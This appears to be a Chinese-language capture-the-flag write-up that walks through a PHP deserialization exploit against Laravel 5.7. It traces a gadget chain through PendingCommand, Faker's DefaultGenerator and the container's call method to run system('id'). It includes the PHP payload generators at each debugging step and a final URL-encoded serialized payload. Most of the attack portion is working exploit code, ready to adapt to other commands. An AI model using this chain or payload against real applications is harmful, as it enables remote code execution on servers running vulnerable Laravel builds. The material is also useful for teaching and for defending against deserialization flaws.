入口
入口1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}
有反序列化的点
坑
在vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php
发现了一个call_user_func
可控的点
不过他是一个静态调用,无法序列化1
2
3if (static::$toMailCallback) {
return call_user_func(static::$toMailCallback, $notifiable, $this->token);
}
PendingCommand
关于该文件
https://laravel.com/api/5.7/Illuminate/Foundation/Testing/PendingCommand.html
在vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php
文档中说明了,command是执行的命令,而parameters是参数,注意这里的paramters是一个数组
有一个run函数,描述为Execute the command.
,并且,该文件的__destruct函数调用了run方法1
2
3
4
5
6
7
8public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
1 | public function run() |
关键函数应该就是这个call函数了,在vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php
那么要执行到call,就要先执行mockConsoleOutput()
我们构造payload进行调试1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
public function __construct()
{
$this->command = 'system';
$this->parameters = array('id');
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}
现在调试发现程序到了
然后再单步跳到了
报了错,直接跳过了foreach
,因为此时的test的值是null,那我们给test一个初始值,test是一个类
我这里随便找了一个类1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
public function __construct()
{
$this->test=new \App\Providers\AppServiceProvider();
$this->command = 'system';
$this->parameters = array('id');
}
}
}
namespace App\Providers{
class AppServiceProvider
{
public function boot()
{
//
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}
还是报错了,因为没有expectedQuestions
这个属性
全局搜索后,都没有发现这个方法,那怎么才能绕过呢
如果有__get
方法,就能在不存在expectedQuestions
的方法的时候,自动去调用__get
方法
于是我们寻找有__get
的类
在source/vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
//expectedQuestions
$this->default = $default;
}
/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->default;
}
我们将default的值设置为一个数组,因为返回值是一个数组
1 |
|
然后就运行到了
结果又报错了
而此刻我打印出的$app[Kernel::class]
的值是null
继续跟进$this->app[Kernel::class]
调用堆栈
到最后一步的时候,判断是否可以实例化,结果不可以。
跟进$this->app[Kernel::class]
resolve的返回值是null
可以控制返回任意一个可实例化的类
我们修改payload让其为1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $app;
public $test;
protected $command;
protected $parameters;
public function __construct()
{
$this->app = new \Illuminate\Foundation\Application(new \Illuminate\Foundation\Application);
$this->test=new \Faker\DefaultGenerator(array("111"=>"aaa","222"=>"bbb"));
$this->command = 'system';
$this->parameters = array('id');
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace Faker{
class DefaultGenerator
{
public function __construct($default = null)
{
//expectedQuestions
$this->default = $default;
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand();
echo urlencode(serialize($a));
}
再调试一下
Illuminate\Foundation\Application
类继承了 Illuminate\Container\Container
类的 call
方法Illuminate\Foundation\Application
类没有call方法,但是它的父类Illuminate\Container\Container
是有call方法的
于是 这里跳到了Illuminate\Container\Container
并且Illuminate\Container\Container
的call方法又是来自BoundMethod::call
getMethodDependencies函数返回值是array_merge('', array('id'));
于是,相当于是call_user_func_array(system,array('id'));
end
1 | O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A7%3A%22default%22%3Ba%3A2%3A%7Bi%3A111%3Bs%3A3%3A%22aaa%22%3Bi%3A222%3Bs%3A3%3A%22bbb%22%3B%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D |